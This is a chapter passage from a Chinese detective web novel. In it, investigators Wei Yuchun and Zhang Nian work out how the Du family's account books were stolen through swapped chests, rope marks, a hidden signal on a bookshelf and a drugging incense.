她半揽衣袖,一小截纤白的手臂从袖中探出,她凑近落灰的书架,将手扶上去,触摸着镂空的地方,她复看向打在自己身上的偏光,暗暗思忖。书架一共五层,“叁”字统共五条横杠,皆由书本上方的空出地与架格本身自带的五层隔层组成,上方的撇捺则由内部所有书本排列而成,所以这个字拼凑得很局促,撇捺看起来毛毛躁躁,而横杠分布不均匀,一会儿密一会儿疏不说,还老是丢些笔触上的细节。 她打量字形的时候不禁感叹,这个字都成了这副模样,关阇彦居然还能提前敏锐察觉到它的不对…… 外头的人貌似都坚持不住了,齐齐唤她:“冯姑娘,如何了啊?!” 魏郁春叫停了他们,一伙人迅速把铜镜、火折子还有黑布都收走了,众人踱步散去,杜夫人回了儿子的屋子,杜咏和章念满头大汗地迈着步子进来,一时匆忙忘记擦汗导致方进来一脚就被屋内弥漫的灰尘扑了个脸黑,偏偏这些灰都混了汗水黏在了人身上,好不恶心。 章念的确是脸黑了,他“呸呸”两声,委婉跟杜老爷讨要好处:“杜老爷,我从昨晚忙活到现在了,浑身是汗水也是脏了您的地方,届时可否赏脸让我在府里沐浴一下?” 杜咏正有此意,连忙乐呵呵邀请。 此时,魏郁春向他发问:“杜老爷,刘翁离开前,可还动过这个书架?” “这是必然的,他近乎日日都要摆布这个书架,一副研究什么难题似的。我也没想到,他琢磨的居然是这等事!”杜咏气愤道。 “那便是了。”魏郁春介绍起自己方才的发现,眼神示意章念开始记录线索细节。 “书架上的确留了只字,虽然丑陋难辨,但却是个不折不扣的叁字,是人刻意为之的结果。这应是他最后留下的传信消息,刘翁离开的时间也应是他协助贼人窃走完账本的时间。这只叁字必是暗示了账本被窃走的方式。杜老爷,可还记得,刘翁最后一次安置书架那日,您还做了什么?” 杜咏诚然道:“不过还是老样子,每日早晚来回一次,开了锁,将箱中账本取出堆置案前,交给刘翁对账。” “开箱锁……”魏郁春敏锐道,“杜老爷可记得还开得是那只箱?” 杜咏走到十只排列整齐的宝箱前,他眉心一悚,顿觉大事不妙:“是第三只!因为箱子长得一样,担心摩梭时混杂了账本,便特地将这些箱子一条长龙堆一起,自东向西,按时间由新到旧依次是第一只、第二只、第三只……第十只箱子!我开的就是第三只!我没有记错!刘翁四月初离开后第二日我和明堂再来开第三只箱子时,发现里面已经没了东西,那日是四月初三!” 杜咏情绪激动,魏郁春仔细安抚他的情绪:“所以刘翁是在对外传递您当日所开的是哪只箱子,他好对其动手。” 章念突然插道:“如果是这样的话,贼人应该是早把其他九个箱子偷完了,才会以第三只箱子收尾。但我记得不错的话,杜老爷还有夜里锁箱时将十个箱子都检查一遍的习惯,四月初三的前一日,也就是四月初二的夜里,账本们可都好好的。” 杜咏附和:“是,账本就是在一夜之间消失的!” “不可能。” 魏郁春却斩钉截铁地道。 “数量庞大,生人勿进,怎么可能会一夜消失?” “那冯姑娘该怎么解释这些?”章念奇道。 线索还是不够,魏郁春清楚地意识到这个致命的缺陷,她不得不寻求更多的帮助,她问杜咏:“杜老爷,刘春盛除了摆弄书架外可还有其他奇怪的动作?他可还有留在杜宅的遗物?” 她一下子问到了点子上,杜咏挨个儿回答她:“抄录账本可算?” “半年来,他一直以记性不好、怕出纰漏为由,提前把当日的账目抄录下来,带回自己的屋子揣摩。但我如今才知他一直在骗取我的同情,所以,这些抄录的内容他到底还用去做了什么,必不是好事。” 章念皱眉:“他抄了多少?” 杜咏摇头:“不知,刘翁走后,账本失窃,我搜过他的屋子,找到了几本,并不多。” 魏郁春顿道:“刘翁不会不知这些遗留下来的册子会成为他的弱点,他明明有机会带着它们一起走,却还要故意遗漏几本下来,怕是做戏给众人看。让你们觉得他不过只是个抄录了零星部分的可怜先生……他既从半年前就开始筹划,抄录的内容不可能只有那么多。” “还有一种可能,”章念毕竟随同陶明案,“他在包庇帮凶,留下的不仅是册子更是证据。帮凶嘛,不多说,除了阳春菊还能有谁?” 杜咏惊骇,他赶忙将所有自己所知道的一切全部从心窝子里掏了出来:“刘翁还留下了半截打过结的麻绳。” 章念和魏郁春齐齐眼睛一亮,绝不肯放弃任何一点线索:“杜老爷,那麻绳在何处?” 杜咏出去一趟吆喝一声,一个下人匆匆从外院跑进来,手里攥着的正是章魏二人眼巴巴的重大线索。 杜咏庄重地将麻绳递到魏郁春的手里,章念虎头虎脑地凑过来,三人齐齐垂首揣摩这跟看似平平无奇的绳子。麻绳粗糙,在魏郁春略布茧子的手中躺着都不安分,还摩得人手掌皮癞癞的。麻绳子已经断开,可一段却长着个疙瘩似的死结,绳子很糙,边上有一圈一圈的花纹,但那些花纹好似被什么东西故意摩擦过,损毁得像只斑秃的狗,脆弱得叫人一模就连连求饶,抖擞一片末子。 章念瞧了半天愣是没看出个好歹,看着一脸入神的魏郁春不免难堪:“漂亮姐姐,看什么呢?” 魏郁春摩梭着绳结,她前世过得简朴,除了看书便是写诗,阁楼里一堆旧书与她所作的废纸,母亲常常牢骚,让她莫要将这些东西乱丢,于是母女两个总是会找来那种最最廉价又最最结实的麻绳,将那一摞摞的重物捆起来。 挪动书山诗海时,她们就抓着绳子的一段拼命往一个方向拽,久而久之,绳子磨损老化,就会生出一片一片这样白花花的粉末。 关阇彦不食人间烟火,杜老爷锦衣玉食一辈子,而章念则是个还没怎么出世的粗心少年郎,估摸除了陶明案外,没人比她还熟悉这样的绳结。 想罢,魏郁春道:“绳子很结实,如果不是被重物故意拖曳摩擦过,不会造成这么严重的损伤。” 她旋即将目光放到账房里,四顾后,发现能被称得上是重物的就是那十只宝箱了。她招招手,众人跟随过去。她抛开绳子,挑了一只大箱子左右端摩,若是看不到的地方,还会请杜咏和章念帮忙搭把手,果然,她在箱子上找到了隐没于木屑灰尘中的摩擦痕迹,那些痕迹分明不算老,形貌窄长,与麻绳勒痕匹配。 她道:“因为箱子年代久远,外表磨损多,所以即便有人注意到了这些痕迹也不会将它与麻绳联系起来。” 此时,去观察其他箱子的章念开口道:“这个箱子上也有!” 杜咏和章念立马将所有箱子都检查了一遍,居然发现每个箱子的截面衔接处都有相同的磨损痕迹,同时,每只箱子的箱底都还抹了松脂。他们已然明白了问题:“每个箱子都被做过手脚。” “杜老爷可见过刘翁对箱子做出一些举动?” 杜咏没有半分迟疑,旋即摇头。 “并且抹松脂、勒箱绳的人只会是刘春盛,但他怎么可能在一天之内就做完这些手脚?更何况杜老爷和杜明堂几乎是常呆于账房的。”章念一边提笔,一边补充道。 “所以账本不可能一夜丢失,”魏郁春目标极其明确,未曾被那些贼人制造的玄之又玄的表面幻象迷乱判断,她沉静道,“杜老爷所以为的悬案,其实是贼人希望你认为的,只有这样,你才永远看不透玄乎背后的真相,永远断不出案子的本质。” “松脂与绳子到底有什么作用……” “刘翁为何要抄录那么多的账本内容……” “刘翁为何要告诉帮凶阳春菊当日杜老爷所开的箱子是哪只……” 诸多疑惑在魏郁春的脑海中汇聚成一张浩瀚神秘的网,她思路联结,勉强说道:“松脂只有阳春菊才有,否则不可能在刘翁这里半分油点都找不到。阳春菊在外,刘翁对箱子的所作所为只可能是由阳春菊一手操控利用的,他还要刘翁每日告诉他箱子的具体编号。应是阳春菊通过刘翁发出的信息,安排他对指定的箱子做出手脚。” 章念:“他这么做是为了什么?好生奇怪,举个例子,难不成刘翁放出消息今天要对第三只箱子动手,阳春菊得令后就开始行动?怎么行动?绳子松脂都在里头的刘翁手里呀,他在外头能干什么?也是能放消息吗?但是放消息的人主要是刘啊,他还能提前预判杜老爷开的箱子是哪个?” 杜咏抖了抖眉心,他有些颤抖,仿佛是被什么天大的秘密冲击过了一般:“章小兄弟说到点子上了,阳春菊便是无心也是能提前预判我的动作的。因为我的确有依次往后开箱的习惯,生怕乱了顺序。第一日我开的是第一只箱子,他怎么会不知我后面要开哪只呢?” 章念愣住:“这……” “那刘翁还放什么消息啊?要开哪知箱子不都是人尽皆知的事了?!” 他觉得不可理喻,甚至还被这只烧脑的案子折磨地险些头晕脑花。 然魏郁春却一语惊人,将众人点醒:“那只能说明,第三只箱子早就不是原来那只了。” “姑娘何意?” “若是还是,刘翁何必多此一举?”魏郁春的话简洁明了。 “说得有理,但为什么呢?”章念抓不着头脑,有些焦躁,“那个叁到底代表了什么呢!” “如果杜老爷当日开的箱子,是伪装成第三只箱子的第四只箱子呢?杜老爷一日只开一个箱子,刘翁能抄录的便只有这个箱子的内容,这个内容的用处只有一个,刘翁可将第三只箱子里抄录的内容换到第四只箱子里,以求让第四只箱子伪装成第三只箱子。” 杜咏觉得这实在是不可理喻,忍不住道:“我一日只开一箱,我也清楚地记得夜晚交账的时候,明确箱中账目总数与对应的箱子是一致的,他怎么可能平白无故把其他箱子的账目塞入眼前的箱子?箱子上的九窍锁是不可能被外人打开的啊!” 这也是困扰魏郁春的问题,可她大大方方,好似将那天马行空的想象力也掺了进来:“如果把箱子的位置调换呢?第四只箱子和第三只箱子对换,杜老爷你以为开的是第三只,实际上却开的是第四只,而且第四只箱子恐怕在老早之前,就被刘翁放入了他提前抄录准备好的第三只箱子的账目,这种情况下,谁能辨清楚?” 章念大为震撼:“如此说来,说不定真正的第四只箱子早就不知道换道哪里去了!毕竟在对换第三只箱子前,所谓的第四只箱子,指不定还是用了塞了第四只箱子账本内容的别的箱子伪装的!” 魏郁春颔首:“若是如此,箱子的顺序早被打乱了个透,杜老爷被蒙在鼓里便罢了,刘翁与阳春菊却不能被自己绕晕,他们之间定会提前交流好动手的方向。” “也许那个叁代表的根本不是杜老爷当日所开箱子的编号,而可能是早不知所踪的第三只箱子的位置,抑或是用来伪装下一个箱子的抄录账本所属的箱子编号……总之,真相远去,已经有些说不明白,只好模糊判断了。” 杜咏貌似还不肯接受现实:“这……这怎么可能?箱子内的账本众多,刘翁怎么可能半年内就将他们全部抄完?” 章念心想刘翁都能骗人他自己只抄了一丢丢的账本了,难道还不能再骗骗人,自己晚抄了一段时间吗? 他不假思索道:“万一他早就在很多年前就准备了呢?只不过他眼见快要得手,怕暴露,骗老爷您是去年才开始抄录了的呢?早说了,犯人的话是不能信的!” 魏郁春也道:“刘翁和阳春菊行动默契,他们完全可以通过熟练调换箱子的手法躲避你的怀疑,刘翁只需将每只箱子账目的总数记下,抑或是将上部分的表面账目仔细伪造好即可了。多次行动后,刘翁只需要让杜老爷看到当日所开箱子是满的即可,至于其他箱子,恐怕早被暗度陈仓,搬了个空。” 杜咏身心俱疲,他默默抬手扶额,似有一股恶气已从他腹中吞吐出去,他道:“竟是如此……” 魏郁春缓缓垂眼,表示惋惜。 杜咏花了不少时间才接受了账本失窃一事,现在又告诉他早在许久之前,他便被欺瞒,甚至就在自己的眼皮子底下,他还无法察觉。身为家主,愧疚之感如同压海的大浪快把他吞没了。 魏郁春委婉道:“这不过是我的一家之言,用松脂和绳子挪动箱子 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魏郁春:“那些绑在箱子上的绳子应当会被提前探出去,送到阳春菊手里,不知绳子平日里都藏在何处,一直都没有被发现。” 杜咏闻言,顿悟起来,他望向四周,账房的窗子除了架格后的后窗外,还有开口于前的四扇窗,其中最靠西侧的窄小前窗,因外头过于茂盛的树木拥挤窗口,而常年不启,久而久之,落的灰远比他处恐怖。那窗子,从未有人故意往那里走,反倒是刘翁,杜咏一天之内都看到他不止一次眼神往那处眇了。 他立马指出了西窗的可疑处,章念和魏郁春走去,果然发现了窗子有被人故意拉开的痕迹,毕竟积灰太厚,稍有动静都会很明显。 章念奇道:“每晚老爷你都会来锁门啊,会注意不到窗子没关吗?” 杜咏汗颜:“不知……窗子窄小,屋子长,它又远,的确不易注意得到。” 杜咏回忆起来只觉得记忆过于模糊,他觉得这种感觉很熟悉,又道:“二位,实不相瞒,四月初二,账房所有账本全部失窃的当晚,我照常检查当日所开箱子的账本,那时我总觉得眼神有些晕眩,因而提前离去,第二日我就发现账本都不见了。” 章念瞪大双眼:“对啊!其他箱子被窃了倒还能解释,最后一个箱子却难!因为没有其他箱子的内容能跟他对换了!就算刘春盛拿他提前抄好的内容伪装也没用啊!毕竟到最后,不管是真的账本还是假的抄录都会被带走的!他甚至不会提前抄录,因为吃亏!搬走了真的账本已经够累了,再有本事抄了一样多的账本又如何?还不是要再搬一次?!” 魏郁春警觉起来,道:“刘翁转移账本说难不难,但一定需要时间和技巧,说简单也不简单,因为想让杜老爷当晚放下警惕,其实很麻烦。” 章念懵了:“到底怎么回事?!所以那天晚上,最后那只箱子里到底是空的还是满的?” 魏郁春沉默,然后突然问道:“四月初二晚上,杜老爷有没有闻到一些奇怪的香味?” 章念知道她在怀疑什么了——刘翁可能在账房里燃了龙骨香,所以杜老爷才会晕眩,甚至眼前还会出现幻觉。 好巧不巧,关阇彦在他们出发前,就将一些洞市搜刮的龙骨香的残粉分了一些给他,他果断掏出一只小瓶子,动作快速,像个无所不能的百宝箱,他把瓶子凑到杜咏鼻前,他认真道:“杜老爷你务必仔细嗅嗅,这异香诡异,藏于无形,不容易被发现,第二日都能伪装成普通的熏香抑或是花草香。” 杜咏嗅了一息,脸庞闪过一丝诧异的恐惧,紧接着复杂的情绪上脑,一时不知是不是恼羞成怒了,他不过闻了一下,头脑便晕眩了,他颤抖道:“就是这种感觉……此物貌似混入了账房白日就熏着的祛湿香里!所以我无法察觉它的存在!” 章念和魏郁春都顿悟了:“果然如此,四月初二晚上,箱子就应该空空如也了,杜老爷被幻象迷惑,这才让您以为账本是一夜之间就消失的!” 章念大叹:“难怪这案子难断!人人都以为是鬼怪作祟,哪里顾得上什么贼人凶手的啊!” 魏郁春观察着西窗和箱子们的位置,脑中幻想出阳春菊在外是如何挪动箱子的情形,此时她推翻章念之前的判断:“刘翁发出讯息不难,但要想在箱子上抹松脂、绑麻绳却难,因为这种事他藏不住,他没办法在杜老爷开门前就把那些东西收回来。所以杜老爷从未见过他对箱子做过什么手脚。” 章念闻言,顿道:“不是他的话,他屋子里怎么会有麻绳?” 魏郁春:“如果是他,他的麻绳上就应该沾有松脂,因为捆绑箱子的绳子是一定会接触箱底的。” 她复看向杜老爷,道:“杜老爷觉得心神混乱的时间应该只有四月初二当晚吧?时间一长,杜老爷定会起疑,找上神医一瞧怎会瞧不出毛病?” 杜老爷深觉她有预料人心之神功,他承认:“是的,唯有当晚有异样,我只道是当日太累,不曾多疑。” 魏郁春:“是了,即便这窗子再窄小,却与箱子的位置几乎相对,杜老爷检查箱子的时候应当会扫视到,窗子开了,如此明显,怎会不知道?除非,毫无异常,无法引人注意,杜老爷才会对此事毫无印象。” 杜咏深以为然:“确有此事!” “姑娘意思我懂了,贼人完全可以在深夜的时候自己想办法开窗进入账房,亲自对宝箱动手,所以我是没办法在锁门前就察觉到异常的。” 箱子难开,窗子还不难开吗?更简单点,只要刘翁提前将西窗上挂着的锁敲坏了,便能助纣为虐,贼人要想进来是轻而易举的事!只不过大家坚信他以一己之力没办法挪动箱子、开锁,所以才没注意这个细节。 章念恍然大悟,可他不甘心地跑到西窗畔,指着窗子道:“那阳春菊个头不矮,应当比我高很多!可是这小窗子……我都钻不出去……” 他震惊之余,脑海里闪现出了阿卟的形象,毕竟昨晚的事情闹得不小,他对他的印象很深,当时关阇彦还深深怀疑阿卟就是阳春菊呢!那孩子个头的确小,要不是声音还能听出来是个男子,人人都会认为他是个模样娇小的丫头。要是阿卟的话,他要钻这个窗子,难道还不简单? 他愕然,与此同时也和魏郁春对视上了,二人好似都想到了一样的结果。 阿卟……他真的是无关人士吗? 章念摇摇头,缓神:“陶司直不是查过了吗,阿卟应该没问题!阳春菊多狡诈,一开始我们还以为芳樱楼的火是他放的呢,结果不是,是别的帮凶!鬼知道他还有多少帮凶!你说是吧,漂亮姐姐?” 魏郁春非但没有得到安慰,脸色还越来越难看。 因为,昨晚关阇彦就说过,如果不是阿卟声东击西、故弄玄虚,阳春菊就不可能盗走尸骨……陶司直查的是他是不是阳春菊,而不是他是不是阳春菊的帮凶……昨夜种种,加上眼前窗子所对应的问题,让她不禁怀疑——阿卟,是不是也是阳春菊的帮凶?! 章念脸也白了,他没想到自己信口一句的自我安慰,竟真的一语成谶了…… 他们二人只想早点把账房的事情了却,立马回芳樱花告诉关阇彦和陶明案此事。 但眼前还有最后一个问题没有得到解决——刘翁既然不是对箱子做手脚的人,那他手里的麻绳从何而来? 俗称一个巴掌拍不响,光靠贼人一个人的力气拉箱子还是很费力的,最方便的办法果然还是在重物近似平行的两侧,分别站上俩个劳力,左右轮流拉动重物摇摆,将东西运到对应的地方……一端是贼人,另一端呢?刘春盛吗?他年老不已,哪里来的气力? 杜咏也表示,刘春盛回了外院的屋子后就不会再出门,外院的其他丫鬟下人都能作证。 所以,刘春盛只会是想办法帮贼人借力了。 然近乎平行的状态下,南边西窗所对应的就只有北墙唯一的窗子了。魏郁春提议,沿着后窗的方向往北搜索,是否有东西身上有被麻绳捆绑磨损的痕迹。 三人出屋,果然在不远处寻到一颗粗壮的古木直直插在人迹罕至的野园子里,古木矮壮,所以看着不扎眼,并且不少爬山虎似的野草将它团团包围着,活似一道天然的屏障,一般路过的人甚至都会忽视它的存在。三人拿树枝好不容易将乱草刮去,靠近古木,居然真在它的树干上看到了一圈绳子勒过的痕迹,完全和那半截绳子的状态对得上! 证据确凿! 刘春盛将麻绳一段早早捆绑在树上,离开前再早早割走,但许是走得太匆忙,将半截绳结遗留在了屋子。 魏郁春和章念二人自觉耽误不得,章念开始完善自己的笔记,同时,魏郁春则进一步和杜咏分析账本最后的去向。 刘春盛转移账本的方式应该相当隐蔽,经查,刘春盛每日每隔两个时辰都会去东墙眺望小憩,而账房所在的位置刚巧不巧和街就隔了这一道东墙。那条街道连同了杜宅所在的仁寿芳,十王府所在的澄清坊……还有芳樱楼前的隆月街! 杜咏吩咐人出去排查此街两畔密集的商摊,连续几个商贩都称四月前总有一个拉着脏臭泔水的马夫会在墙畔驻足一炷香的时间,每隔两个时辰就出现一次,因为泔水太臭,几个商贩都对此马夫有过深的印象。 长街一路过去不少客栈饭堂,泔水就从这些地方而来,老板们皆认得这马夫,名叫张宝山,在这儿拉泔水很多年了,结果四月份的时候意外淹水淹死了,他死的时候,当时芳樱楼刚起大火,一群大人们无暇顾及他,确认是意外身亡就草草了之了此事。 章念一听人名,果然觉得熟悉,确定此人是在芳樱楼出事后没多久就死了。 众人无需进一步查他的死因,因为真相已经很清晰——张宝山受贿于刘春盛,约定时间内,张宝山故意在宅外驻足停留,刘春盛则偷偷往墙外丢账本,张宝山在运泔水的路上刚好经过芳樱楼……账本失窃的时间是四月初,然芳樱楼大火是四月中旬左右,杀了张宝山才能堵住口舌,凶手却没有选在四月初,而是选在四月中旬…… 凶手在等什么,众人都已明了——转移到芳樱花的账本会被他预料之中的大火烧灭! 所以账本早就消失了!根本就找不回来!!!这一切就是个天大的幌子。 一只强忍的杜老爷终于情绪崩溃,他好似也相信了隐华画师口中所谓的“报应”,他失语不已,好似成了没有魂魄的躯壳。 魏郁春别无他法,章念则急得像热锅上的蚂蚁:“要不还是赶紧回芳樱楼告诉都督和司直吧!万一万一!楼里面还有账本的残骸呢!” “找到残骸又有何用!!!”杜咏崩溃大喊。 好巧不巧,杜夫人匆忙提裙过来,情绪也是激动,但比起丈夫,更多是劫后余生的庆幸和惊喜:“明堂醒了!他有话和你们说!” 看来一时半会儿是走不掉了。